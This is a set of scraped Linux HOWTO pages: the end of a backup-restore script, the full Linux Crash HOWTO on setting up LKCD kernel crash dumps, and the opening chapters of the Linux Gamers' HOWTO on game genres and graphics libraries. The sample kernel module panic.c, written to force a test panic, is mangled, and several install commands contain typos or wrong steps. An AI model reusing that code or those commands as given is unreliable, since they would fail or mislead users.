# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.

# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

# You can also contact the Free Software Foundation at http://www.fsf.org/

# For more information contact the author, Charles Curley, at
# http://w3.trib.com/~ccurley/.

# The host name of the computer to be restored.

target=tester

bunzip2 -dc $target.tar.bz2 | ssh $target "cd / ; tar -xpkf - "

ssh $target lilo

Prev | Home | Next
What Now? |  | Resources


What Now?

Linux Complete Backup and Recovery HOWTO
Prev Next

10. What Now?

This HOWTO results from experiments on one computer. No doubt you will find some directories or files you need to back up in your first stage backup. I have not dealt with saving and restoring X on the first stage, nor have I touched at all on processors other than Intel.

I would appreciate your feedback as you test and improve these scripts on your own computers. I also encourage vendors of backup software to document how to do a minimal backup of their products. I'd like to see the whole Linux community sleep just a little better at night.

10.1. To Do

Volunteers are most welcome. Check with me before you start on one of these in case someone else is working on it already.

  • A partition editor to adjust partition boundaries for a different hard drive, or the same one with different geometry, or to adjust partition sizes within the same hard drive. A GUI would probably be a good idea here. On the other tentacle, the FSF's parted looks like it will fill part of the bill. It does re-size existing partitions, but with restrictions.

  • make.fdisk currently spits out one script. Separate out the mount commands to another script, so you can run make.dev.hda, then reboot to do some other mischief, like build a partition for some exotic OS I've never heard of, or run parted, then reboot to tomsrtbt, mount all the Linux partitions, and continue.

  • Since tomsrtbt supports bzip2, convert the scripts to use bzip2, and see if there is a noticeable reduction in the first stage data saved.

  • make.fdisk currently only recognizes some FAT partitions, not all. Add code to make.fdisk to recognize others and make appropriate instructions to rebuild them in the output files.

  • For FAT12 or FAT16 partitions we do not format, write zeros into the partition so that Mess-DOS 6.x does not get confused. See the notes on fdisk for an explanation of the problem.

  • Make a script for putting ext2 file systems on ZIP® disks.

  • Translations into other (human) languages.

  • Find out how loadlin or similar programs affect this process.

  • Changes for GRUB

  • Change the scripts to use a CD-ROM. A CD-ROM that would boot to tomsrtbt, with the first stage restore data on the rest of it, would be just the ticket.

Prev | Home | Next
Some Advice for Disaster Recovery |  | The Scripts


How LKCD Works

Linux Crash HOWTO
Prev Next

2. How LKCD Works

When a kernel encounters certain errors it calls the "panic" function which results from a unrecoverable error. This panic results in LKCD initiating a kernel dump where kernel memory is copied out to the pre-designated dump area. The dump device is configured as primary swap by default. The kernel is not completely functional at this point, but there is enough functionality to copy memory to disk. After dump finishes copying memory to disk, the system re-boots. When the system boots back up, it checks for a new crash dump. If a new crash dump is found it is copied from the dump location to the file system, "/var/log/dump" directory by default. After copying the image, the system continues to boot normally and forensics can be performed at a later date.

2.1. What You Need

lkcd-kernelxxx.diff file for patching the kernel. The kernel version supported will change routinely. lkcdutils-xx.src.rpm - this is the utilities source and scripts you will need to setup and read a crash. At the time of this writing there is a i386 binary rpm available from lkcd.sourceforge.net, but you will still need the patches for the startup scripts from the source rpm.

Prev | Home | Next
Introduction |  | Installation of lkcd


Linux Crash HOWTO

Norman Patten

nepatten@us.ibm.com

2002-01-30

Revision History
Revision 1.0 2002-01-30 Revised by: NM
Initial release.

This document describes the installation and usage of the LKCD (Linux Kernel Crash Dump) package.

Table of Contents
1. Introduction
1.1. Copyright and License
2. How LKCD Works
2.1. What You Need
3. Installation of lkcd
3.1. Installing From Source Code
3.2. Building and Installing LKCD Utilities
3.3. What Gets Installed
3.4. Installing LKCD Utilities From RPM
3.5. Patching the Kernel
3.6. Build and Install the Kernel
4. Setup, Test, and Running crash
4.1. Setting up crash dump
4.2. Testing crash
4.3. Running crash
Next
Introduction


Installation of lkcd

Linux Crash HOWTO
Prev Next

3. Installation of lkcd

3.1. Installing From Source Code

Get the lkcdutils-xxx.src.rpm and install it using rpm -i kcdutils-xxx.src.rpm . This will place a file called lkcdutils-xxx.tar.gz in the /usr/src/redhat/SOURCES directory. This file is a compressed tar image of the lkcd source tree. Unwind the source in a directory of your choice like "/usr/src" with tar -zxvf kcdutils-xxx.src.rpm . This will create a directory called "kcdutils-xxx" which will contain the LKCD utilities source.

3.2. Building and Installing LKCD Utilities

LKCD used the standard GCC compiler and make files. To build the suite, cd to the LKCD src directory and run ./configure to build configuration files. The next step is to run make to build the utilities, and finally run make install to install the utilities and man pages.

3.3. What Gets Installed

  /etc/sysconfig/dump             # Configuration file for dump
  /sbin/lcrash                    # The crash utility
  /sbin/lkcd                      # Script to configure and save a crash
  /sbin/lkcd_config               # Configuration utility for dump
  /sbin/lkcd_ksyms                # Utility for reconstructing kernel symbols
  /usr/include/sial_api.h         # Header file for the SIAL API
  /usr/lib/libsial.a              # Simple Image Access Language library
  /usr/man/man1/lcrash.1          # man page for lcrash
  /usr/man/man1/lkcd_config.1     # man page for lkcd_config
  /usr/man/man1/lkcd_ksyms.1      # man page for lkcd_ksyms
  /usr/share/sial/lcrash/ps.sial  # ps command implementation of SIAL

3.4. Installing LKCD Utilities From RPM

You can install the pre-built utilities from rpm by running rpm -i kcdutils-xxx.rpm . You will still need to patch the kernel and install the startup script patches. However you can bypass building the utilities step.

3.5. Patching the Kernel

The next step is patching and rebuilding the kernel. You will need to patch the kernel source with the lkcd-xxx.diff file you downloaded from http://lkcd.sourceforge.net/. Copy the patch into the same directory as your kernel and run patch -p0 < lkcd-kernelxxx.diff . Make sure the patch you use is the same version as the kernel you are patching. Next you will need to configure the kernel to enable crash dump support. By default crash support is turned off after applying the patch. If you use make menuconfig or make xconfig, the "LKCD support" option is under kernel hacking. You will also need to enable other kernel features you might need. See the The Linux Kernel HOWTO for further details.

3.6. Build and Install the Kernel

The next is building and installing the crash enabled kernel. In the kernel source directory run the following commands in order.

  make depend
  make install
  make modules
  make modules_install

This will build and installing the new kernel, you will also need to copy the Kerntypes file from the kernel source to the /boot directory. You may also need to edit the lilo.conf file to point to you new kernel. See http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html for more information on building and installing a kernel.

Prev | Home | Next
How LKCD Works |  | Setup, Test, and Running crash


Introduction

Linux Crash HOWTO
Prev Next

1. Introduction

The LKCD (Linux Kernel Crash Dump) project is a set of kernel patches and utilities to allow a copy of the kernel memory to be saved in the event of a kernel panic. The saved kernel image makes forensics on the kernel panic possible with utilities included in the package. Most commercial Unix operating systems come with similar crash utilities, but this package is fairly new to Linux and has to be added on manually. The LKCD utility is not designed to gather helpful information in the case of a hardware caused panic or a segment violation. The complete LKCD package is available for download at http://lkcd.sourceforge.net/.

1.1. Copyright and License

This document is copyrighted (c) 2002 by Norman Patten. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html.

Linux is a registered trademark of Linus Torvalds . lkcd is distributed under the copyright of Silicon Graphics Inc.

Send feedback to nepatten@us.ibm.com.

Prev | Home | Next
Linux Crash HOWTO |  | How LKCD Works


Setup, Test, and Running crash

Linux Crash HOWTO
Prev

4. Setup, Test, and Running crash

4.1. Setting up crash dump

In order to save a core image that has been written into swap, the image must be saved prior to swap being re-mounted during boot. To accomplish this, the sysinit startup file needs to be changed. The lkcd source includes a scripts directory which contains patches for various sysinit startup scripts. These patches add the lkcd config and lkcd save commands to enable crash dumps and to save any existing crash dumps upon startup.

4.2. Testing crash

To force a panic to test you new crash setup, compile the following code with cc -c -I/usr/src/linux/include panic.c . After building the panic.o module just insmod panic.o to panic the kernel.

  ### panic.c ###########################

  #define __KERNEL__
  # MODULE

  # include init_module(void)

  int init_module (void)
  {
      panic(" panic has been called");
      return 0;
  }

4.3. Running crash

To view your kernel core file lcrash needs to be invoked with a couple of parameters:

  lcrash [ System.map file ] [ dump image ] [ Kerntypes ]

  Example:

  lcrash /boot/System.map ./dump.1 /boot/Kerntypes

It will take a minute to load the kernel image into memory and drop you into the crash shell. At the crash shell prompt you can type a ? to see the available commands.

Prev | Home
Installation of lkcd |


Administra

The Linux Gamers' HOWTO
Prev Next

1. Administra

If you have ideas, corrections or questions relating to this HOWTO, please email me. By receiving feedback on this howto (even if I don't have the time to answer), you make me feel like I'm doing something useful. In turn, it motivates me to write more and add to this document. You can reach me at <p@dirac.org>. My web page is www.dirac.org/p and my Linux pages are at www.dirac.org/linux. Please do send comments and suggestions for this howto. Even if I don't take your suggestions, your input is graciously received.

I assume a working knowledge of Linux, so I use some topics like runlevels and modules without defining them. If there are enough questions (or even protests!) I'll add more basic information to this document.

1.1. Authorship and Copyright

This document is copyright (c) 2001 Peter Jay Salzman, <p@dirac.org>. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1, except for the provisions I list in the next paragraph. I hate HOWTO's that include the license; it's a tree killer. You can read the GNU FDL at www.gnu.org/copyleft/fdl.html.

If you want to create a derivative work or publish this HOWTO for commercial purposes, contact me first. This will give me a chance to give you the most recent version. I'd also appreciate either a copy of whatever it is you're doing or a spinach, garlic, mushroom, feta cheese and artichoke heart pizza.

1.2. Acknowledgements

Thanks to Mike Phillips who commented extensively on the howto. Thanks to Dmitry Samoyloff, <dsamoyloff@yandex.ru>, for translating this document into Russian. It blew my mind when he told me that he was translating my words to Russian.

1.3. Latest Version and Translations

The latest version can be found at cvs.sourceforge.net/cgi-bin/viewcvs.cgi/lgh/LG-HOWTO, but this is my own personal working copy. You can get the most recent polished version (whatever that means!) from www.linuxdoc.org and www.dirac.org/linux/writing.

Dmitry Samoyloff, <dsamoyloff@mail.ru>, is the maintainer of the Russian translation of this HOWTO. The most recent version can be found at linuxgames.hut.ru/data/docs/HOWTO/LG-HOWTO-ru.html.

Prev | Home | Next
The Linux Gamers' HOWTO |  | Definitions: Types Of Games


Definitions: Types Of Games

The Linux Gamers' HOWTO
Prev Next

2. Definitions: Types Of Games

Not everyone knows the different types of games that are out there, so in an effort to form a common language that we can all use, I'll run through each game type and provide a very brief history.

2.1. Arcade style

Although arcade games had their heydey in the 80's, they are nonetheless very popular. Nothing will ever replace walking into a dark, crowded and noisy arcade gallery, popping a quarter into your favorite machine and playing an old fashioned game of Space Invaders. Arcade style games attempt to simulate the arcade games themselves. There is such a vast number of these things that it's nearly impossible to enumerate them all, but they include clones of Asteroids, Space Invaders, Pac-Man, Missile Command and Galaxian.

2.2. Card, logic and board games

Computer based card games simulate a card game (poker, solitaire, etc); the type of game you'd play on a table top with friends, but the program simulates your opponent(s).

Logic games usually simulate some well known logic puzzle like Master Mind or the game where you have put sliding numbered tiles in order inside a box.

Computer based board games simulate some kind of board game you'd play on a table top with friends, like monopoly, Mille Bourne, chess or checkers. The program simulates your opponent.

2.3. Text Adventure (aka Interactive Fiction)

Once upon a time, when Apple ][, Commodore, and Atari ruled the world, text adventures were the game of choice of `intelligent folk'. They were self contained executables on disks (even casettes). These days we're a bit more sophisticated than that. Now there's usually a data file and an interpreter. The interpreter reads data files and provides the gaming interface. The data file is the actual game, and is often implemented by a scripting language. So for example, you you could have the two Scott Adams datafiles “The Count.dat” and “Voodoo Castle.dat”. To actually play the games, you'd invoke the scottfree interpreter with the name of the datafile you wish to play.

The first adventure game was Adventure (actually “ADVENT”, written on a PDP-1 in 1972). You can play adventure yourself (actually, a descendent); it comes with “bsd games” on most Linux distros.

They became popularized by Scott Adams, who is widely considered to be the father of text adventuring. You can play Scott Adams adventures using scottfree, the game file interpreter written by Alan Cox, and the old data files, which are now shareware and can be download from Scott Adams' website.

Text adventures climaxed in the 80's with Infocom. There are many Infocom interpreters available for Linux; the most popular one being frotz. You still need the data files, and these are all still owned and considered commercial property by Activision.

As computer graphics became easier and more powerful, text adventures gave rise to graphic adventures. The death of interactive fiction more or less coincided with the bankruptcy of Infocom.

2.4. Graphical Adventures

Graphical adventures are, at heart, text adventures on steroids. The degree to which they use graphics varies widely. Back in the 80's, they were little more than text adventures which showed a screen of static graphics. When you picked up an item, the background would be redrawn without the item appearing. The canonical example would be the so-called `Hi-Res Adventures' like The Wizard And The Princess. Later on, the sophisticated graphical adventures had your character roaming around the screen, and you could even use a mouse, but the interface remained purely text.

Next there are the `point and click adventures' which basically have no text interface at all, and often have dynamic graphics, like a cat wandering around the room while you're deciding what to do next. In these games, you point at an object (say, a book) and can choose from a pull-down list of functions. Kind of like object oriented adventuring. :) There aren't many graphical adventures written natively for Linux. The only one I can think of is Hopkins FBI (which happens to be my favorite game for Linux).

2.5. Simulation (aka Sims)

Simulations strive to immerse the player behind the controls of something they normally wouldn't have access to. This could be something real like a fighter jet or something imaginary like a mechanized warrior combat unit. In either case, sims strive for realism.

Some sims have little or no strategy. They simply put you in a cockpit to give you the thrill of piloting a plane. Some of them are considerably more complex, and there's often a fine line between sims and strats (see the next section). A good example would be Heavy Gear III or Flight Gear. These days sims and strats are nearly indestinguishable, but a long time ago, sims were all real time while strats were all turn based. This is somewhat awkward for modern day use, since a game like Warcraft which everyone knows as a strat, would be a sim by definition.

2.6. Strategy (aka Strats)

Strategy games have their roots in old Avalon type board games like Panzer Leader and old war strategy games published by SSI. Generally, they simulate some kind of scenario. The scenario can be peaceful, like running a successful city or illegal drug selling operation (SimCity or DrugWars). The scenario can also be total all-out war strategy game like Myth II. The types of games usually take a long time to complete and require a lot of brainpower.

Strats can be further divided into two classes: real time and turn based. Real time strats are based on the concept of you-snooze-you-lose. For example, you're managing a city and a fire erupts somewhere. The more time it takes for you mobilize the fire fighters, the more damage the fire does. Turn based strats are more like chess---the computer takes a turn and then the player takes a turn.

2.7. First Person Shooter (aka FPS)

What light through yonder window breaks? It must be the flash of the double barreled shotgun! We have a long and twisted history with FPS games which started when id Games released the code for Doom. The code base has forked and merged numerous times. Other previously closed engines opened up, many engines are playable via emulators, many commercial FPS games were released for Linux and there are quite a number of FPS engines which started life as open source projects. Although you may not be able to play your favorite FPS under Linux (Half-Life plays great under winex) Linux definitely has no deficiency here!

First person shooters are characterized by two things. First, you pretty much blow up everything you see. Second, the action takes place in first person. That is, look through the eyes of the character who's doing all the shooting. You may even see your hands or weapon at the bottom of the screen. Some are set in fantasy (Hexen), others are science fiction (Quake II), and some are set in the present day `real world' (Soldier Of Fortune).

Just like text adventures, FPS fit the engine/datafile format. The engine refers to the actual game itself (Doom, Quake, Heretic2) and plays out the maps and bad guys outlined by the datafile (doom2.wad, pak0.pak, etc). Many FPS games allow people to write their own non-commercial datafile. There are hundreds, even thousands of non-commercial Doom datafiles that you can download for free off the net. Often, companies discard their engines and put them into the open source community so we can hack and improve them. However, the original data files are kept proprietary. To this day, you still have to purchase doom.wad.

2.8. Side Scrollers

Side scrollers are similar to FPS but you view your character as a 2D figure who runs around various screens shooting at things or performing tasks. Examples would be Abuse for Linux and the original Duke Nukem. They don't necessarily have to be violent, like xscavenger, a clone of the old 8-bit game Lode Runner.

2.9. Third Person Shooters

Similar to FPS, but you view your character in third person and in 3D. On modern third person shooters you can usually do some really kick-butt maneuvers like Jackie Chan style back flips and side rolls. The canonical example would be Tomb Raider. On the Linux platform, we have Heretic 2 and Heavy Metal FAKK.

2.10. Role Playing Game (aka RPG)

Anyone who has played games like Dungeons & Dragons or Call of Cthulhu knows exactly what an RPG is. You play a character, sometimes more than one, characterized by traits (eg strength, dexterity), skills (eg explosives, basket weaving, mechanics) and properties (levels, cash). As you play, the character becomes more powerful and the game adjusts itself accordingly, so instead of fighting orcs, at high levels you start fighting black dragons. The rewards increase correspondingly. At low levels you might get some gold pieces as a reward for winning a battle. At high levels, you might get a magic sword or a kick-butt assault rifle.

RPG's generally have a quest with a well defined ending. In nethack you need to retrieve the amulet of Yendor for your god. In Ultima II, you destroy the evil sorceress Minax. At some point, your character becomes powerful enough that you can `go for it' and try to complete the quest.

The canonical RPG on Linux is Rogue (the ncurses library can be traced back to the screen handling routines that were written for Rogue!) and its infinite variants like Zangband and Nethack (which has infinite variants itself). Some of them are quite complicated and are great feats of programming. There seems to be a deficiency of commercial RPGs on Linux. If you don't count all the rogue variants, there also seems to deficiency of open source RPGs as well.

While the insanely popular Ultima series, written by Richard Garriot (aka Lord British) for Origin, was not the first RPG, it popularized and propelled the RPG genre into mainstream. Ultima I was released in 1987 and was the game that launched 9 (depending on how you want to count them) very popular sequels, finishing with Ultima IX: Ascension. You can play Ultima VII under Linux with Exult.

Prev | Home | Next
Administra |  | Libraries


The Linux Gamers' HOWTO

Peter Jay Salzman

p@dirac.org

Copyright © 2001 by Peter Jay Salzman

v.0.9.13, 2002-05-08

Abstract

The same questions get asked repeatedly on Linux related mailing lists and news groups. Many of them arise because people don't know as much as they should about how things "work" on Linux, at least, as far as games go. Gaming can be a tough pursuit; it requires knowledge from an incredibly vast range of topics from compilers to libraries to system administration to networking to XFree86 administration ... you get the picture. Every aspect of your computer plays a role in gaming. It's a demanding topic, but this fact is shadowed by the primary goal of gaming: to have fun and blow off some steam.

This document is a stepping stone to get the most common problems resolved and to give people the knowledge to begin thinking intelligently about what is going on with their games. Just as with anything else on Linux, you need to know a little more about what's going on behind the scenes with your system to be able to keep your games healthy or to diagnose and fix them when they're not.

Table of Contents
1. Administra
1.1. Authorship and Copyright
1.2. Acknowledgements
1.3. Latest Version and Translations
2. Definitions: Types Of Games
2.1. Arcade style
2.2. Card, logic and board games
2.3. Text Adventure (aka Interactive Fiction)
2.4. Graphical Adventures
2.5. Simulation (aka Sims)
2.6. Strategy (aka Strats)
2.7. First Person Shooter (aka FPS)
2.8. Side Scrollers
2.9. Third Person Shooters
2.10. Role Playing Game (aka RPG)
3. Libraries
3.1. What is Glide2?
3.2. What is Glide3?
3.3. What is OpenGL?
3.4. What is Mesa?
3.5. What is DRI?
3.6. What is GLX?
3.7. What is Utah GLX?
3.8. What is xlib?
3.9. What is SDL (Simple DirectMedia Layer)?
3.10. What is GGI?
3.11. What is SVGAlib? Frame buffer? Console?
3.12. What is OpenAL?
3.13. What is DirectX?
4. Definitions: Video Card and 3D Terminology
4.1. Textures
4.2. T&L: Transform and Lighting
4.3. AA: Anti Aliasing
4.4. FSAA: Full Screen Anti-Aliasing
4.5. Mip Mapping
4.6. Texture Filtering
4.7. Point Sampling Texture Filtering
4.8. Bilinear Texture Filtering
4.9. Trilinear Texture Filtering
4.10. Anisotropic Texture Filtering
4.11. Z Buffering
5. XFree86 and You
5.1. Getting information about your X system
6. Various Topics
6.1. Memory Type Register Ranges
6.2. Milking performance from your system for all it's worth
6.3. About libraries on Linux
7. When Bad Things Happen To Good People
7.1. RTFM!
7.2. Look For Updates and Patches
7.3. Newsgroups
7.4. Google Group Search
7.5. Debugging: call traces and core files
7.6. Saved Games
7.7. What to do when a file or library isn't being found (better living through strace)
7.8. Hosed consoles
8. Hardware
8.1. Which video card is the best?
8.2. Which sound card is best?
9. Miscellaneous Problems
9.1. Hardware Acceleration Problems
9.2. Hardware acceleration works only for the root user
9.3. Why isn't my sound working?
10. Emulation and Virtual Machines
10.1. Apple 8-bit
10.2. DOS
10.3. Win16
10.4. Win32
11. Interpreters
11.1. SCUMM Engine (LucasArts)
11.2. AGI: Adventure Gaming Interface (Sierra)
11.3. SCI: SCript Interpreter or Sierra Creative Interpreter (Sierra)
11.4. Infocom Adventures (Infocom, Activision)
11.5. Scott Adams Adventures (Adventure International)
11.6. Ultima 7 (Origin, Electronic Arts)
12. Websites
12.1. Meta gaming websites
12.2. Commercial Linux Game Websites
12.3. Other Websites Of Note
Next
Administra


Libraries

The Linux Gamers' HOWTO
Prev Next

3. Libraries

We'll run through the different gaming libraries you'll see under Linux.

3.1. What is Glide2?

Glide2 is an low level graphics API plus driver that accesses 3D hardware accelerated functions on 3dfx's Voodoo I, II and III cards, under XFree86 3.*.

A program can ONLY use the special hardware accelerated features of these cards by using the Glide2 library in one of two ways:

  • directly: written natively using Glide2 (Myth II, Descent III)

  • indirectly: uses Mesa built with a Glide2 backend to simulate OpenGL (Rune, Deux Ex, Unreal Tournament)

3dfx opened up the specifications and source code to the open source community. This allowed Daryll Strauss to port Glide2 to Linux which enabled XFree86 3.* users to use Voodoo I, II and III cards under Linux.

Since Glide2 accesses the video board directly, applications that use Glide2 will either need to be run by root. A way around this was to create the kernel 3dfx module. This module (and the corresponding device /dev/3dfx) allows Glide2 hardware acceleration for non-root users of non-setuid graphics applications.

Unfortunately, Glide2 is also a dead issue. It's only used for Voodoo I, II, III boards (which are becoming outdated), under XFree86 3.* (most people use XFree86 4.*). And since 3dfx is now a defunct company, it's a sure bet that no more work will be done on Glide2 and no more games will be written using Glide2.

3.2. What is Glide3?

Glide3 is not a direct API used to program a game with, unlike Glide2. It exists only to support DRI on Voodoo III, IV and V boards under XFree86 4.*. None of the games which use Glide2 will work with Glide3. This shouldn't be a surprise since Glide2 and Glide 3 support different video boards and different versions of XFree86. The only video card that can use both Glide2 (under XFree86 3.*) and Glide3 (under XFree86 4.*) is the Voodoo III. It's reported that a Voodoo III using Glide2 will outperform a Voodoo III using Glide3.

When you use a Voodoo III, IV or V under XFree86 4.*, you want to use a version of Mesa (see Section 3.4) which was compiled to use Glide3 as a backend to ensure hardware accelerated OpenGL on your system.

3.3. What is OpenGL?

OpenGL is a high level graphics programming API originally developed by SGI, and it became an industry standard for 2D and 3D graphics programming. It is defined and maintained by the Architectural Revision Board (ARB), an organization whose include SGI, IBM, DEC, and Microsoft. OpenGL provides a powerful, complete and generic feature set for 2D and 3D graphics operations.

There are 3 canonical parts to OpenGL:

  • GL: The OpenGL core calls

  • GLU: The utility calls

  • GLUT: Tools for system independent window event handling (mouse event handling, keyboard events, etc.).

OpenGL is not only an API, it's also an implementation, written by SGI. The implementation tries to use hardware acceleration for various graphics operations whenever available, which depends on what videocard you have in you computer. If hardware acceleration is not possible for a specific task, OpenGL falls back on software rendering. This means that when you get OpenGL from SGI, if you want any kind of hardware acceleration at all, it must be OpenGL written and compiled specifically for some graphics card. Otherwise, all you'll get is software rendering. The same thing is true for OpenGL clones, like Mesa.

OpenGL is the open source equivalent to Direct3D, a component of DirectX (Section 3.13). The important difference being that since OpenGL is open (and DirectX is closed), games written in OpenGL are much easier to port to Linux while games written using DirectX at this point in time are impossible to port to Linux.

3.4. What is Mesa?

Mesa <www.mesa3d.org> is a free implementation of the OpenGL API, designed and written by Brian Paul. While it's not officially certified (that would take more money than an open source project has), it's an almost fully compliant OpenGL implementation conforming to the ARB specifications. It's reported that Mesa is even faster than SGI's own OpenGL implementation.

Just like OpenGL, Mesa makes use of hardware acceleration whenever possible. When a particular graphics task isn't able to be hardware accelerated by the video card, it's software rendered; the task is done by your computer's CPU instead. This means that there are different builds of Mesa depending on what kind of video card you have. Each build uses a different library as a backend renderer. For example, if you have a Voodoo I, II or III card under XFree86 3.*, you'd use mesa+glide2 (written by David Bucciarelli) which is the Mesa implementation of OpenGL that uses Glide2 as a backend to render for graphical operations.

3.5. What is DRI?

Graphics rendering has 3 players: the client application (like Quake 3), the X server and the hardware (the graphics card). Previously, client applications were prohibited from writing directly to hardware, and there was a good reason for this. A program that is allowed to directly write to hardware can crash the system in any number of ways. Rather than trusting programmers to write totally bug free, cooperative programs that access hardware, Linux simply disallowed it. However, that changed with X 4.* with DRI (Direct Rendering Infrastructure <www.dri.sourceforge.net>. DRI allows X clients to write 3D rendering information directly to the video card in a safe and cooperative manner.

DRI gets the X server out of the way so the 3D driver (Mesa or OpenGL) can talk directly to the hardware. This speeds things up. The 3D rendering information doesn't even have to be hardware accelerated. On a technical note, this has a number of virtues.

  • Vertex data doesn't have to be encoded/decoded via GLX.

  • Graphics data doesn't have to be sent over a socket to the X server.

  • On single processor machines the CPU doesn't have to change context between X and its client to render the graphics.

3.6. What is GLX?

GLX is the X extension used by OpenGL programs, it is the glue between the platform independent OpenGL and platform dependent X.

3.7. What is Utah GLX?

Utah-GLX is the precursor to DRI. It makes some different design decisions, regarding separation of data and methods of accessing the video card. (For instance, it relies on root privileges rather than creating the kernel infrastructure necessary for secure access). It provides support for (at this time) a couple cards which are not well-supported in DRI. Particularly, the ATI Rage Pro family, S3 Virge (although anyone using this for gaming is, well, nuts), and an open source TNT/TNT2 driver (which is very incomplete). The TNT/TNT2 driver is based on reverse-engineering of the obfuscated source code release of the X 3.3 drivers by nVidia. However, they're really incomplete, and effectively, unusable.

As a side note, until the G400 stuff is *really* fixed in DRI, it's also the better G400 support—but hopefully that will not be an issue by the time this HOWTO is published.

3.8. What is xlib?

Every once in awhile you'll see some sicko (said with respect) write a game in xlib. It is a set of C libraries which comprise the lowest level programming interface for XFree86. Any graphics programming in X ultimately makes use of the xlib library.

It's not an understatement to say that xlib is arcane and complicated. A program that simply connects to an X server, puts up a window and does nothing else could be a complicated 40 line program with arcane and very long named functions. Because of this, there are lots of libraries which hide the details of xlib programming. Some of these libraries focus on drawing in windows (like SDL). Other libraries are more concerned with widgets within windows (eg pulldown menus, radio buttons and text boxes); these types of libraries are called widget sets. Gtk is the canonical widget set on Linux, but there are many others like fltk (a small C++ widget set), Xaw, Qt (the widget set of KDE), and Motif (the widget set used by Netscape). Motif used to be king of the Unix world, but was very expensive to license. The Open Group opened up Motif's license for non-commercial use, but it was too little too late. People now use Lesstif, a Motif clone.

3.9. What is SDL (Simple DirectMedia Layer)?

SDL <www.libsdl.org> is a library by Loki Software's Sam Lantiga (graduate of UCD, yeah!). It's actually a meta-library, meaning that not only is it a graphics library which hides the details of xlib programming, it provides an easy interface for sound, music and event handling. It's LGPL'd and provides joystick and OpenGL support as well. The 40 line arcane program I mentioned in the xlib section can easily be written in 6 lines of straightforward code using SDL.

The most striking part of SDL is that it's a cross platform library. Except for a few details about header files and compiling, a program written in SDL will compile under Linux, MS Windows, BeOS, MacOS, MacOS X, Solaris, IRIX, FreeBSD, QNX and OSF. There are SDL extentions written by various people to do things like handle any graphics format you care to mention, play mpegs, display truetype fonts, sprite handling and just about everything under the sun. SDL is an example of what all graphics libraries should strive for.

Sam had an ulterior motive for writing such a cool library. He's was the lead programmer for Loki Software, which used SDL in all of its games except for Quake3.

3.10. What is GGI?

GGI <www.ggi-project.org> is a project which aims to implement the graphics abstraction layer in lower level code, putting graphics hardware support in one place, bringing higher stability and portability to graphics applications and replacing SVGAlib, fb, and X servers dealing directly with hardware. Judging from their screenshots, this is quite a powerful library.

GGI was supposed to have a kernel module inserted into the Linux source code but Linus thought their code wasn't ready for production kernels. There was brief talk about making *BSD their main platform. I'm not sure if they ever went through with this.

3.11. What is SVGAlib? Frame buffer? Console?

The console is the dark non-graphical screen you look at when your computer first boots up (and you don't have have xdm or gdm running). This is opposed to the X environment which has all sorts of GUI things like xterms. It's a common misconception that X means graphics and console means no graphics. There are certainly graphics on the console—we will discuss the two most common ways to achieve this.

SVGAlib is a graphics library that lets you draw graphics on the the console. There are many graphical applications and games that use SVGAlib like zgv (a console graphical image viewer), prboom and hhexen. I happen to be a fan of this library and of graphical console games in general; they are extremely fast, fullscreen and compelling. There are three downsides to SVGAlib. First, SVGAlib executables need to be run by root or be setuid root, however, the library releases root status immediately after the executable begins to run. Secondly, SVGAlib is video card dependent–if your video card isn't supported by SVGAlib, you're out of luck. Third, SVGAlib is Linux only. Games written in SVGAlib will only work on Linux.

Frame buffers are consoles implemented by a graphics mode rather than a BIOS text mode. Why would you want to simulate text mode from a graphical environment? This allows us to run graphical things in console, like allowing us to choose what font we want the console to display (which is normally determined by BIOS). Imagine having a console font of Comic Sans MS? There's a good Frame Buffer howto available from LDP.

3.12. What is OpenAL?

OpenAL <www.openal.org> aims to be for sound what OpenGL is for graphics. Jointly developed by Loki Software and Creative Labs, it sets out to be a vendor neutral and cross platform API for audio. It is licensed LGPL and the specs can be had for free from the OpenAL website. OpenAL is fully functional, but now that Loki Software is no more its future development is questionable.

3.13. What is DirectX?

DirectX is a collection of closed source and proprietary multimedia API's, first developed by Microsoft in 1995, for its various Windows OS's. It would be a mistake to say something like "DirectX is like OpenGL" or "DirectX is like SDL", as is commonly said in DirectX tutorials and books. Multimedia API's are more centralized on Windows than they are on Linux. A more accurate statement would be something like "DirectX is like DRI, OpenGL and SDL combined". As of February 2002, the most recent version of DirectX is 8.1. The components of DirectX are:

DirectDraw

DirectDraw gives direct access to video memory, like DRI, so you can directly blit 2D graphics to the video card rather than blitting the 2D graphics to main memory and then blitting from main memory to the video card. DirectDraw is kind of like the graphical component of SDL, but direct access to video card memory is done by DRI rather than SDL. This is why a game can easily take out a Windows system but should never take out a Linux system.

Direct3D (D3D)

Direct3D, like OpenGL, provides a 3D graphics API. Whereas OpenGL is open source, lower level and compiles under a multitude of operating systems, D3D is proprietary, higher level and only compiles on Windows. Unfortunately, most Windows game programmers choose D3D over OpenGL and D3D is poorly supported by API translators, like wine, and practically unsupported by virtual machines, like vmware, under Linux. D3D first appeared in DirectX 2, released in 1996.

DirectXAudio

Direct Audio is a combination of 2 audio API's, DirectSound and DirectMusic, which allows direct access to the sound card for sound and music playback.

DirectInput

DirectInput gives support for gaming input devices such as joysticks.

DirectPlay

DirectPlay gives support for simplified networking for multiplayer gaming.

DirectShow

DirectShow provides support for movie files like AVI and MPG. It was a separate API from DirectX, but was integrated with DirectX 8.

DirectSetup

This API provides a way to install DirectX from within an application. It was designed to simplify game installation.

DirectX is "kind of" supported by winex (Section 10.4.3), poorly supported by wine (Section 10.4.1), barely supported by vmware (Section 10.4.5) and unsupported by Win4Lin (Section 10.4.4).

One comment about portability. Each component of DirectX has multiple corresponding library on Linux. Moreover, a game writer which uses libraries like OpenGL, GGI or SDL will write a game which will trivially compile on Windows, Linux and a multitude of other OS's. Yet game companies persist using DirectX and therefore limit their audience to Windows users only. If you're a game writer, please consider using cross platform libraries and stay away from DirectX.

